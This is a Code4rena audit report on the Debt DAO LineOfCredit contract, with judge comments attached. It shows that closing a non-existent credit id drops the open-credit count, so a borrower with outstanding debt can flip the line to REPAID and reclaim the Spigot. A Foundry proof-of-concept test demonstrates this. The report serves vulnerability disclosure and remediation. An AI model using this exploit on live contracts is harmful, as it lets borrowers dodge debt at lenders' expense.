Line of credit status can be set to REPAID even if having credits with debt

[code423n4]

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L388
https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L502

Vulnerability details

A malicious borrower can close non-existing credits to alter the status of the credit to LineLib.STATUS.REPAID, even if having open credit with debt.

Impact

The _close function in the LineOfCredit contract can be used to close non-existing credits, which will decrease the credit count variable, and may be exploitable by a malicious borrower to move the line of credit to a REPAID status and regain control of the Spigot while still having open credits with debt.

Since the _close function doesn't validate credits, it can be called with non-existing/invalid credit ids to artificially decrease the credit count variable, which is used to track open credits, and will move the line status to REPAID if it gets to 0. Once the count is 0, the attacker can simply call the SpigotedLibe.releaseSpigot function to regain control of the Spigot. This will allow him to control back the source of revenue while not paying any debt.

PoC

In this test, the borrower borrows funds from a credit, then proceeds to close an non-existing credit, which will move the credit count from 1 to 0. This will update the line status to LineLib.STATUS.REPAID.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file LineOfCredit.t.sol.

function test_close_UpdateStatusToRepaidWhileDebt() public {
    address lender = makeAddr("lender");
    _mintAndApprove(lender);
    
    uint256 amount = 1 ether;
    
    _addCredit(lender, address(supportedToken1), amount);
    bytes32 id = CreditLib.computeId(address(line), lender, address(supportedToken1));
    
    vm.prank(borrower);
    line.borrow(id, amount);
    
    // Line is active and borrower has an open credit with debt
    assertEq(uint256(line.status()), uint256(LineLib.STATUS.ACTIVE));
    
    vm.prank(borrower);
    line.close(keccak256("UnexistentCredit"));
    
    // By closing another non-existent credit we can update the status to REPAID while still having open debt
    assertEq(uint256(line.status()), uint256(LineLib.STATUS.REPAID));
}

Recommendation

Verify credits are valid and haven't been already closed when closing credit in the _close function of the LineOfCredit contract.

[c4-judge]

dmvt marked the issue as duplicate of #258

[c4-judge]

dmvt marked the issue as satisfactory